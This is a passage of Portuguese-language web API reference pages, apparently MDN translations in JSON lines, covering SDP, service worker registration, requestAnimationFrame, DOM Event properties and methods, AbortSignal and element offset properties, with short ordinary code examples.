Estrutura\n\nO SDP consiste em uma ou mais linhas de texto UTF-8, cada uma começando com um tipo de um caractere, seguido por um sinal de igual (\"=\"), seguido por um texto estruturado contendo um valor ou descrição, cujo formato depende do tipo. As linhas de texto que começam com uma determinada letra são geralmente chamadas de \"letter-lines\" (*\"linhas de letras\"*). Por exemplo, as linhas que fornecem descrições de mídia têm o tipo \"m\", portanto, essas linhas são chamadas de \"linhas m\".\n\n### Para mais informações\n\nPara saber mais sobre o SDP, consulte os seguintes recursos úteis:\n\n* Especificação: RFC 4566: SDP: Session Description Protocol\n* IANA registry of SDP parameters"}
{"title":"ServiceWorkerContainer.register() - APIs da Web","text":"ServiceWorkerContainer.register()\n=================================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO método \\*\\*`register()`\\*\\*da interface `ServiceWorkerContainer` (en-US) cria ou atualiza um `ServiceWorkerRegistration` (en-US) passado em `scriptURL`.\n\nEm caso de sucesso, um registro de service worker vincula o URL do script fornecido ao es*copo*, que é usado posteriormente para a navegação correspondente. Você pode chamar esse método incondicionalmente da página controlada. Ou seja, você não precisa primeiro verificar se há um registro ativo.\n\nHá uma frequente confusão em relação ao significado e uso do escopo. Uma vez que um service worker não pode ter um escopo mais amplo do que sua própria localização, use apenas a opção `scope` quando precisar de um escopo mais limitado do que o padrão.\n\nSíntaxe\n-------\n```\n\nServiceWorkerContainer.register(scriptURL, options)\n  .then(function(ServiceWorkerRegistration) { ... });\n```\n\n### Parâmetros\n\n`scriptURL`\n\nA URL do script service worker.\n\n`options` Optional\n\nUm objeto contendo as opções do registro. Atualmente as opções disponíveis são:\n\n* `scope`: Uma `USVString` (en-US) representando uma URL que define o registro do escopo de um service worker's ; ou seja, o alcance das URLs que o service worker pode controlar. É geralmente uma URL relativa. O valor padrão é o URL que você obtém se você resolvesse './' usando a localização da página web como base. Não é, como customa-se acreditar, relativo à localização do service worker. Veja as seções de Exemplos para mais informações sobre como isso funciona.\n\n### Valor retornado\n\nUm `Promise` (en-US) que resolve com um objeto `ServiceWorkerRegistration` (en-US).\n\nExemplos\n--------\n\nOs exemplos descritos escrito aqui deve ser tomado em conjunto para obter um melhor entendimento de como escopos do service workers são aplicados a uma página.\n\nO exemplo a seguir usa o valor padrão de`scope` (ao omití-lo). O service worker neste caso irá controlar`example.com/index.html` bem como páginas abaixo, como `example.com/product/description.html`.\n\n\n```js\nif (\"serviceWorker\" in navigator) {\n  // Registra um service worker hospeadado na raiz do\n  // site usando o escopo padrão\n  navigator.serviceWorker\n    .register(\"/sw.js\")\n    .then(function (registration) {\n      console.log(\"Service worker registrado com sucesso:\", registration);\n    })\n    .catch(function (error) {\n      console.log(\"Falha ao Registrar o Service Worker:\", error);\n    });\n} else {\n  console.log(\"Service workers não suportado!\");\n}\n```\n\n\nO código a seguir, se incluído em uma página na raiz de um site, seria aplicado exatamente às mesmas páginas, como no exemplo acima. Lembre-se de que o escopo, quando incluído, usa a localização da página como base. Alternativamente, se esse código foi incluído em uma página `example.com/product/description.html`, o escopo de`'./'` significa que o escopo que o service worker seria aplicado somente aos recursos de`example.com/product`. Se precisassemos de registrar um service worker em `example.com/product/description.html` aplicado a todoo `example.com`, deixaríamos o escopo acima.\n\n\n```js\nif (\"serviceWorker\" in navigator) {\n  // Registre um service worker hospeado na raiz do\n  // site usando um escopo mais restritivo.\n  navigator.serviceWorker\n    .register(\"/sw.js\", { scope: \"./\" })\n    .then(function (registration) {\n      console.log(\"Service worker registrado com sucesso:\", registration);\n    })\n    .catch(function (error) {\n      console.log(\"Service worker falhou ao registrar:\", error);\n    });\n} else {\n  console.log(\"Service workers não é suportado pelo navegador!.\");\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Service Workers # navigator-service-worker-register |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"window.requestAnimationFrame() - APIs da Web","text":"window.requestAnimationFrame()\n==============================\n\n\n O método **`window.requestAnimationFrame()`** fala para o navegador que deseja-se realizar uma animação e pede que o navegador chame uma função específica para atualizar um quadro de animação antes da próxima repaint (repintura). O método tem como argumento uma callback que deve ser invocado antes da repaint.\n\n> \n> \\*\\*Nota:\\*\\*A rotina callback deve chamar `requestAnimationFrame()` se quiser animar outro quadro na próxima repaint.\n> \n> \n> \n\nDeve-se chamar esse método sempre que estiver pronto para atualizar a animação na tela. Isso irá requisitar que a função de animação seja chamada antes que o navegador realize a próxima repaint. O número de callbacks é normalmente 60 por segundo, mas geralmente acompanha a taxa de atualização do display na maioria dos navegadores, como recomenda a W3C. A taxa de callbacks é reduzida quando executados em aba de fundo ou em `<iframe>` escondidos para melhorar performance e vida de bateria.\n\nUm único argumento é passado para o método callback, um `DOMHighResTimeStamp` (en-US), que indica o tempo atual no qual callbacks enfileiradas por `requestAnimationFrame` começam a disparar. Múltiplos callbacks em um único quadro, assim, cada um recebe o mesmo carimbo de data/hora . Esse carimbo de data/hora é um número decimal, em milisegundos, mas com precisão mínima de 1ms (1000 µs).\n\nSintaxe\n-------\n```\n\nwindow.requestAnimationFrame(callback);\n```\n\n### Parâmetros\n\n`callback`\n\nParâmetro especificando uma função a ser chamada quando chegar a hora de atualizar a animação para a próxima repaint. O callback possui um único argumento, um `DOMHighResTimeStamp` (en-US), que indica a hora atual (a hora retornada de `Performance.now()` ) para quando `requestAnimationFrame` começar a disparar callbacks.\n\n### Valor de retorno\n\nUm valor inteiro `long`, a id da requisição, que identifica unicamente a entrada na lista de callbacks. Esse é um valor não-zero, mas não deve-se assumir mais nada sobre esse valor. Esse valor pode ser passado para `window.cancelAnimationFrame()` (en-US) para cancelar a requisição da atualização do callback.\n\nExemplo\n-------\n\n\n```js\nvar start = null;\nvar element = document.getElementById(\"ElementoQueVcQuerAnimar\");\nelement.style.position = \"absolute\";\n\nfunction step(timestamp) {\n  if (!start) start = timestamp;\n  var progress = timestamp - start;\n  element.style.left = Math.min(progress / 10, 200) + \"px\";\n  if (progress < 2000) {\n    window.requestAnimationFrame(step);\n  }\n}\n\nwindow.requestAnimationFrame(step);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-animationframeprovider-requestanimationframe |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Window.mozAnimationStartTime` (en-US)\n* `Window.cancelAnimationFrame()` (en-US)\n* mozRequestAnimationFrame - Post do blog\n* requestAnimationFrame for smart animating - Post do blog\n* Animating with javascript: from setInterval to requestAnimationFrame - Post do blog\n* Using PC Hardware more efficiently in HTML5: New Web Performance APIs, Part 1 - Post do blog\n* TestUFO: Test your web browser for requestAnimationFrame() Timing Deviations\n* Paul Irish: requestAnimationFrame for Smart Animating\n* Paul Irish: requestAnimationFrame API: now with sub-millisecond precision"}
{"title":"Event.type - APIs da Web","text":"Event.type\n==========\n\nSumário\n-------\n\nRetorna uma string contendo o tipo de evento.\n\nO argumento do evento `EventTarget.addEventListener()` e `EventTarget.removeEventListener()` é caso insensível(case insensitive).\n\nVeja Mozilla event reference (en-US) para obter a lista de tipos de evento disponíveis\n\nSintaxe\n-------\n```\n\nevent.type\n```\n\nExemplos\n--------\n```\n\nvar string = event.type;\n```\n\n\n\n```html\n<!doctype html>\n<html lang=\"pt-br\">\n  <head>\n    <title>exemplo de tipo</title>\n\n    <script>\n var currEvent = null;\n\n function getEvtType(evt) {\n currEvent = evt.type;\n document.getElementById(\"Etype\").firstChild.nodeValue = currEvent;\n }\n </script>\n  </head>\n\n  <body\n onkeydown=\"getEvtType(event)\"\n onkeyup=\"getEvtType(event)\"\n onmousedown=\"getEvtType(event)\"\n onmouseup=\"getEvtType(event)\">\n    <p>\n      Pressione uma tecla ou clique com o mouse para obter o tipo de evento.\n    </p>\n    <p>Tipo de evento: <span id=\"Etype\">-</span></p>\n  </body>\n</html>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-event-type④ |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Event.isTrusted - APIs da Web","text":"Event.isTrusted\n===============\n\n\n A propriedade **`isTrusted`** da interface `Event`, exclusiva para leitura, é uma booleana (`Boolean` (en-US)) de valor verdadeiro (`true`) se tal evento é disparado pela ação do usuário. Retorna falso (`false`) caso o acionamento do evento seja ocasionado pelo método `EventTarget.dispatchEvent()` ou tenha sido criado ou modificado por um script.\nSintaxe\n-------\n```\n\nvar eventIsTrusted = event.isTrusted;\n```\n\n### Valor\n\n`Boolean` (en-US)Exemplo\n-------\n\n\n```js\nif (e.isTrusted) {\n  /\\* The event is trusted \\*/\n} else {\n  /\\* The event is not trusted \\*/\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-event-istrusted① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Event.stopPropagation() - APIs da Web","text":"Event.stopPropagation()\n=======================\n\nResumo\n------\n\nImpede a propagação do evento por seus respectivos listeners.\n\nSintaxe\n-------\n```\n\nevent.stopPropagation();\n```\n\n### Parametros\n\nNenhum\n\n### Valor retornado\n\n`undefined`.\n\nExemplo\n-------\n\nVeja o exemplo 5: Event Propagation (en-US) no capítulo Eventos para um exemplo mais detalhado desse método e propagação de evento no DOM.\n\nNotas\n-----\n\nVeja DOM specification para a explicação do fluxo de eventos. (O DOM Level 3 Events draft possui uma ilustração.)\n\npreventDefault (en-US) é um método de complemento que pode ser usado para previnir a ação padrão do evento que estiver acontecendo.\n\nEspecificação\n-------------\n\nDOM Level 3 Events: stopPropagation\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Event.target - APIs da Web","text":"Event.target\n============\n\nUma referência ao objeto que enviou o evento. É diferente de `event.currentTarget` quando o manipulador de eventos é chamado durante a fase de borbulhagem ou captura do evento.\n\nSintaxe\n-------\n```\n\ntheTarget = event.target\n```\n\nExemplo\n-------\n\nA propriedade **`event.target`** pode ser usada para implementar a delegação de eventos.\n\n\n```js\n// Assumindo que existe uma variável 'list' contendo uma instância de um elemento ul de HTML.\nfunction hide(e) {\n  // A menos que os itens da lista sejam separados por uma margem, e.target deve ser diferente de e.currentTarget\n  e.target.style.visibility = \"hidden\";\n}\n\nlist.addEventListener(\"click\", hide, false);\n\n// Se algum elemento (elemento <li> ou um link dentro de um elemento <li> por exemplo) for clicado, ele desaparecerá.\n// Só requer um único listener para fazer isso.\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-event-target③ |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Comparison of Event Targets"}
{"title":"Event() - APIs da Web","text":"Event()\n=======\n\nO **`Event()`** cria uma nova `Event`.\n\nSintaxe\n-------\n```\n\n event = new Event(typeArg, eventInit);\n```\n\n### Valores\n\n*typeArg*\n\nÉ uma `DOMString` representa o nome do evento.\n\n*eventInit*Optional\n\nÉ um dicionário `EventInit`, tendo os seguintes campos:\n\n* `\"bubbles\"`, opcional e false por default, do tipo `Boolean`, indica se o evento é bubbles ou não.\n* `\"cancelable\"`, opcional e false por default, do tipo `Boolean`, indica se o evento pode ser cancelado ou não.\n\nExemplo\n-------\n\n\n```js\n// criar um evento com bubbles true e que não pode ser cancelado\n\nvar ev = new Event(\"look\", { bubbles: true, cancelable: false });\ndocument.dispatchEvent(ev);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-event-event |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Event`"}
{"title":"Comparativo entre Event Targets - APIs da Web","text":"Comparativo entre Event Targets\n===============================\n\n### Event targets\n\nÉ facil se confundir sobre o tipo de alvo (*target*) que deseja-se examinar ao criar um manipulador de eventos (*event handler*). Este artigo se propõe a esclarecer o uso da propriedade *target*.\n\nHá 5 tipos de *targets* a se considerar:\n\n| Propriedade | Definido em | Objetivo |\n| --- | --- | --- |\n| event.target | DOM Event Interface | \n O elemento do DOM à esquerda da chamada que disparou este evento, por\n exemplo:\n\n```\n\n*element*.dispatchEvent(*event*)\n```\n\n |\n| event.currentTarget | DOM Event Interface | \n O\n `EventTarget`\n do qual o\n `EventListeners`\n está sendo atualmente processado. Logo que a captura e a subida do\n evento ocorre a mudança deste valor.\n  |\n| event.relatedTarget | DOM MouseEvent Interface | Identifica um alvo secundário para o evento. |\n| event.explicitOriginalTarget | Event.webidl | \nNon-standard\n Se o evento foi redirecionado por\n alguma outra razão senão o cruzamento de uma fronteira anônima, este\n evento será colocado no alvo antes que o redirecionamento ocorra. por\n exemplo, eventos do mouse são redirecionados à seus elementos pais\n quando acontecem sobre nós de texto ([Firefox bug 185889](https://bugzil.la/185889)), e neste\n caso .target mostrará o nó pai e\n `.explicitOriginalTarget` mostrará o nó texto. Diferente de\n `.originalTarget`, `.explicitOriginalTarget` nunca\n irá conter um conteúdo anônimo.\n  |\n| event.originalTarget | Event.webidl | \nNon-standard\n O alvo original do evento, antes de\n qualquer redirecionamento. Veja\n Anonymous Content#Event\\_Flow\\_and\\_Targeting\n para mais detalhes.\n  |\n\n### Uso de `explicitOriginalTarget` e `originalTarget`\n\nTODO: Disponível apensas em navegadores Mozilla-based?\n\nTODO: Adequado apenas para desenvolvedores de extensões?\n\n### Exemplos\n```\n\n<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <title>Comparison of Event Targets</title>\n    <style>\n        table {\n            border-collapse: collapse;\n            height: 150px;\n            width: 100%;\n        }\n        td {\n            border: 1px solid #ccc;\n            font-weight: bold;\n            padding: 5px;\n            min-height: 30px;\n        }\n        .standard {\n            background-color: #99ff99;\n        }\n        .non-standard {\n            background-color: #902D37;\n        }\n    </style>\n</head>\n<body>\n    <table>\n    <thead>\n        <tr>\n            <td class=\"standard\">Original target dispatching the event <small>event.target</small></td>\n            <td class=\"standard\">Target who's event listener is being processed <small>event.currentTarget</small></td>\n            <td class=\"standard\">Identify other element (if any) involved in the event <small>event.relatedTarget</small></td>\n            <td class=\"non-standard\">If there was a retargetting of the event for some reason <small> event.explicitOriginalTarget</small> contains the target before retargetting (never contains anonymous targets)</td>\n            <td class=\"non-standard\">If there was a retargetting of the event for some reason <small> event.originalTarget</small> contains the target before retargetting (may contain anonymous targets)</td>\n        </tr>\n    </thead>\n    <tr>\n        <td id=\"target\"></td>\n        <td id=\"currentTarget\"></td>\n        <td id=\"relatedTarget\"></td>\n        <td id=\"explicitOriginalTarget\"></td>\n        <td id=\"originalTarget\"></td>\n    </tr>\n</table>\n<p>Clicking on the text will show the difference between explicitOriginalTarget, originalTarget and target</p>\n<script>\n    function handleClicks(e) {\n        document.getElementById('target').innerHTML = e.target;\n        document.getElementById('currentTarget').innerHTML = e.currentTarget;\n        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;\n        document.getElementById('explicitOriginalTarget').innerHTML = e.explicitOriginalTarget;\n        document.getElementById('originalTarget').innerHTML = e.originalTarget;\n    }\n\n    function handleMouseover(e) {\n        document.getElementById('target').innerHTML = e.target;\n        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;\n    }\n\n    document.addEventListener('click', handleClicks, false);\n    document.addEventListener('mouseover', handleMouseover, false);\n</script>\n</body>\n</html>\n```\n\n### Uso de `target` e `relatedTarget`\n\nA propriedade `relatedTarget` do evento de `mouseover` mantém o nó de onde o mouse estava sobre anteriormente. Para o evento de `mouseout`, mantém o nó para onde o mouse se moveu.\n\n| Tipo de Evento | event.target | event.relatedTarget |\n| --- | --- | --- |\n| `mouseover` | O EventTarget do qual o dispositivo apontador entrou. | O EventTarget do qual o dispositivo apontador saiu. |\n| `mouseout` | O EventTarget do qual o dispositivo apontador saiu. | O EventTarget do qual o dispositivo apontador entrou. |\n\nTODO: Necessário descrição complemento sobre eventos de `dragenter` e `dragexit`.\n\n#### Exemplo\n```\n\n<hbox id=\"outer\">\n  <hbox id=\"inner\"\n        onmouseover=\"dump('mouseover ' + event.relatedTarget.id + ' > ' + event.target.id + '\\n');\"\n        onmouseout=\"dump('mouseout  ' + event.target.id + ' > ' + event.relatedTarget.id + '\\n');\"\n        style=\"margin: 100px; border: 10px solid black; width: 100px; height: 100px;\" />\n</hbox>\n```"}
{"title":"Event.preventDefault() - APIs da Web","text":"Event.preventDefault()\n======================\n\nResumo\n------\n\nCancela o evento se for cancelável, sem parar a propagação do mesmo.\n\nSintaxe\n-------\n```\n\nevent.preventDefault();\n```\n\nExemplo\n-------\n\nAlternar é a ação padrão de clicar em uma caixa de seleção. Este exemplo demonstra como impedir que isso aconteça:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <title>preventDefault example</title>\n\n    <script>\n function stopDefAction(evt) {\n evt.preventDefault();\n }\n\n document\n .getElementById(\"my-checkbox\")\n .addEventListener(\"click\", stopDefAction, false);\n </script>\n  </head>\n\n  <body>\n    <p>Please click on the checkbox control.</p>\n\n    <form>\n      <input type=\"checkbox\" id=\"my-checkbox\" />\n      <label for=\"my-checkbox\">Checkbox</label>\n    </form>\n  </body>\n</html>\n```\n\n\nVocê pode ver o `preventDefault` em ação aqui.\n\nO exemplo a seguir demonstra como um input com texto inválido pode ser parado ao chegar ao campo de entrada com o preventDefault().\n\n\n```html\n<!DOCTYPE html>\n<html>\n<head>\n<title>preventDefault example</title>\n\n<script>\n```\n\n\n\n```js\nfunction Init() {\n  var myTextbox = document.getElementById(\"my-textbox\");\n  myTextbox.addEventListener(\"keypress\", checkName, false);\n}\n\nfunction checkName(evt) {\n  var charCode = evt.charCode;\n  if (charCode != 0) {\n    if (charCode < 97 || charCode > 122) {\n      evt.preventDefault();\n      alert(\n        \"Please use lowercase letters only.\" +\n          \"\\n\" +\n          \"charCode: \" +\n          charCode +\n          \"\\n\",\n      );\n    }\n  }\n}\n```\n\n\n\n```html\n</script>\n</head>\n<body onload=\"Init ()\">\n    <p>Please enter your name using lowercase letters only.</p>\n    <form>\n        <input type=\"text\" id=\"my-textbox\" />\n    </form>\n</body>\n</html>\n```\n\n\nAqui está o resultado do código anterior:\n\nNotas\n-----\n\nChamar preventDefault durante qualquer fase do fluxo de eventos cancela o evento, o que significa que qualquer ação padrão normalmente feita pela aplicação como um resultado do evento não ocorrerá.\n\n**Nota:** A partir do Gecko 6.0, chamar o `preventDefault()` faz com que o `event.defaultPrevented` se torne true.\n\nVocê pode usar o event.cancelable (en-US) para checar se o evento é cancelável. Chamar o `preventDefault` para um evento não cancelável não fará efeito.\n\n`Se o preventDefault não parar a propagação do evento através do DOM. event.stopPropagation deve ser usada para isso.`\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-event-preventdefault③ |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Event.srcElement - APIs da Web","text":"Event.srcElement\n================\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\n**`Event.srcElement`** é uma propriedade *alias* para a propriedade padrão `Event.target`. É específica para versões antigas do Microsoft Internet Explorer.\n\nEspecificações\n--------------\n\nNão é parte de nenhuma especificação.\n\nMicrosoft tem uma descrição na MSDN.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Window.event`"}
{"title":"Event.currentTarget - APIs da Web","text":"Event.currentTarget\n===================\n\nIdentifica o alvo atual para o evento quando o event percorre o DOM. O currentTarget sempre se refere ao elemento associado ao event handler, ao invés do event.target que identifica o elemento ao qual o evento ocorreu.\n\nExemplo\n-------\n\n`event.currentTarget` é bom para ser usado quando nós queremos associar o mesmo event handler para vários elementos.\n\n\n```js\nfunction hide(e) {\n  e.currentTarget.style.visibility = \"hidden\";\n  console.log(e.currentTarget);\n  // Quando essa função é usada como um event\n  // handler: this === e.currentTarget\n}\n\nvar ps = document.getElementsByTagName(\"p\");\n\nfor (var i = 0; i < ps.length; i++) {\n  // console: print the clicked <p> element\n  ps[i].addEventListener(\"click\", hide, false);\n}\n// console: print <body>\ndocument.body.addEventListener(\"click\", hide, false);\n\n// Clique e faça os parágrafos desaparecerem\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-event-currenttarget② |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\nComparativo dos Event Targets"}
{"title":"Event.defaultPrevented - APIs da Web","text":"Event.defaultPrevented\n======================\n\n### Resumo\n\nRetorna um booleano que indica se ou não `event.preventDefault()` foi chamado no evento.\n\n**Nota:** Você deve usar isso em vez de a não-padrão, método desatualizado `getPreventDefault()` (ver Firefox bug 691151).\n\n### Sintaxe\n```\n\nbool = event.defaultPrevented\n```\n\n### Exemplo\n```\n\n if (e.defaultPrevented) {\n   /* o padrão foi impedido */\n }\n```\n\n### Compatibilidade do navegador\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Event.stopImmediatePropagation() - APIs da Web","text":"Event.stopImmediatePropagation()\n================================\n\nEvita que outros *listeners* escutem o evento.\n\nSintaxe\n-------\n```\n\nevent.stopImmediatePropagation();\n```\n\nNotas\n-----\n\nNo caso de um evento onde vários *listeners* o estão escutando, os mesmos são disparados na ordem em que foram adicionados. Porém, se durante uma chamada (ou disparo), `event.stopImmediatePropagation()` for chamado, os demais *listeners* não serão disparados.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-event-stopimmediatepropagation① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Event.initEvent() - APIs da Web","text":"Event.initEvent()\n=================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método **`Event.initEvent()`** é usado para inicializar o valor de um `event` criado usando `Document.createEvent()` (en-US).\n\nEventos inicializados desta maneira precisam ter sido criados com o método `Document.createEvent()` (en-US). Este método precisar ser chamado para definir o evento antes de ser despachado, usando `EventTarget.dispatchEvent()`. Uma vez despachado, não faz mais nada.\n\n**Nota:** **Não use esse método mais, pois está depreciado.**\n\nAo invés, use construtores de eventos específicos, como `Event()`. A página sobre Criando e disparando eventos (en-US) detalha mais informações sobre o uso desses eventos.\n\nSyntax\n------\n```\n\nevent.initEvent(tipo, bubbles, cancelable);\n```\n\n\n`tipo`\n\nÉ um `DOMString` definido o tipo do evento.\n\n`bolhas`\n\nÉ um `Boolean` decidindo se o evento precisa ser enviado para cima, na cadeia de eventos ou não. Uma vez definido, a propriedade read-only `Event.bubbles` (en-US) irá informar o seu valor.\n\n`cancelable`\n\nÉ um `Boolean` definindo se o evento pode ser cancelado. Uma vez definido, a propriedade read-only `Event.cancelable` (en-US) will irá informar o seu valor.\n\nExemplo\n-------\n```\n\n// Cria o evento.\nvar event = document.createEvent('Event');\n\n// Cria um evento de clique que borbulha e\n// não pode ser cancelado\nevent.initEvent('click', true, false);\n\n// Escuta este evento.\nelem.addEventListener('click', function (e) {\n  // e.target matches elem\n}, false);\n\nelem.dispatchEvent(event);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-event-initevent① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O construtor para usar ao invés deste método descontinuado: `Event()`. Construtores mais específicos também podem ser usados."}
{"title":"AbortSignal.aborted - APIs da Web","text":"AbortSignal.aborted\n===================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA propriedade **`aborted`** é apenas para leitura e fornece um valor `Boolean` (en-US) indicando se as solicitações ao objeto sinal de comunicação DOM forão abortadas (`true`) ou não (`false`).\n\nSintaxe\n-------\n\n\n```js\nvar isAborted = abortSignal.aborted;\n```\n\n### Valor\n\nUm valor `Boolean` (en-US)\n\nExemplos\n--------\n\nNo fragmento abaixo, criamos um novo objeto `AbortController` e recebemos dele um sinal `AbortSignal` (disponível na propriedade `signal`). Depois checamos se o sinal foi ou não abortado usando a propriedade `aborted`, e então enviamos um log apropriado para o console.\n\n\n```js\nvar controller = new AbortController();\nvar signal = controller.signal;\n\n// ...\n\nsignal.aborted\n  ? console.log(\"Pedido foi abortado\")\n  : console.log(\"Pedido nao foi abortado\");\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-abortsignal-aborted① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* Documentação de busca API"}
{"title":"HTMLElement.offsetHeight - APIs da Web","text":"HTMLElement.offsetHeight\n========================\n\nA propriedade **`HTMLElement.offsetHeight`** é somente leitura e retorna um valor do tipo inteiro a altura de um elemento incluindo padding-top+padding-bottom+border-top+border-bottom.\n\nTypically, an element's `offsetHeight` is a measurement in pixels of the element's CSS height, including border, padding and the element's horizontal scrollbar (if present, if rendered).\n\nFor the document body object, the measurement includes total linear content height instead of the element's CSS height. Floated elements extending below other linear content are ignored.\n\n**Nota:** This property will round the value to an integer. If you need a fractional value, use `element.getBoundingClientRect()`.\n\nSyntax\n------\n```\n\nvar intElemOffsetHeight = element.offsetHeight;\n```\n\n\n*intElemOffsetHeight* is a variable storing an integer corresponding to the offsetHeight pixel value of the element. The offsetHeight property is read-only.\n\nExample\n-------\n\n![Image:Dimensions-offset.png](/pt-BR/docs/Web/API/HTMLElement/offsetHeight/dimensions-offset.png)\n\nThe example image above shows a scrollbar and an offsetHeight which fits on the window. However, non-scrollable elements may have large offsetHeight values, much larger than the visible content. These elements are typically contained within scrollable elements; consequently these non-scrollable elements may be completely or partly invisible, depending on the scrollTop setting of the scrollable container.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-htmlelement-offsetheight |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee Also\n--------\n\n* `Element.clientHeight`\n* `Element.scrollHeight` (en-US)\n* `HTMLElement.offsetWidth`\n* Determining the dimensions of elements (en-US)\n* MSDN: Measuring Element Dimension and Location"}
{"title":"Element.accessKey - APIs da Web","text":"Element.accessKey\n=================\n\nA propriedade **Element.accessKey** define a tecla pelo qual o usuário pode pressionar para saltar para este elemento.\n\n**Nota:** Nota: *A propriedade **Element.accessKey** é raramente usada por causa dos conflitos múltiplos com os atalhos pré-definidos nos navegadores. Para contornar isto, os navegadores implementam o comportamento da tecla de acesso se as teclas são pressionadas com outras teclas \"qualificadas\" (como Alt + tecla de acesso).*"}
{"title":"HTMLElement.offsetParent - APIs da Web","text":"HTMLElement.offsetParent\n========================\n\nA propriedade somente de leitura **`HTMLElement.offsetParent`** retorna uma referência ao objeto ao qual está contido(mais próximo na hierarquia do conteúdo) posicionado contendo o elemento. Caso o elemento não esteja posicionado, mais próximo a célula da tabela ou do elemento raiz (nos padrões do modo de conformidade do `html; no modo quirks de redenrização) é o` `offsetParent`. quando o elemento está definido `style.display` para \"none\", `offsetParent` retorna null. A propriedade `offsetParent` é útil devido a `offsetTop` e `offsetLeft` serem relativos ao seu preenchimento da borda.\n```\n\nparentObj = element.offsetParent;\n```\n\n\n* *parentObj* é uma referência de objeto ao elemento no qual o elemento corrente é offset.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-htmlelement-offsetparent |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"GlobalEventHandlers.onchange - APIs da Web","text":"GlobalEventHandlers.onchange\n============================\n\nA propriedade `onchange` determina e retorna o manipulador de eventos para o evento `change (en-US)`.\n\nSyntax\n------\n```\n\nelement.onchange = handlerFunction;\nvar handlerFunction = element.onchange;\n```\n\n\n`handlerFunction` deve ser ou `null` ou uma função JavaScript especificando o manipulador para o evento.\n\nNotas\n-----\n\nVeja a página do manipulador de eventos do DOM (en-US) para informações sobre como trabalhar com manipuladores `on...`\n\nVeja a documentação do evento `change (en-US)` para informações sobre o evento.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # event-change |\n| HTML Standard # handler-onchange |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
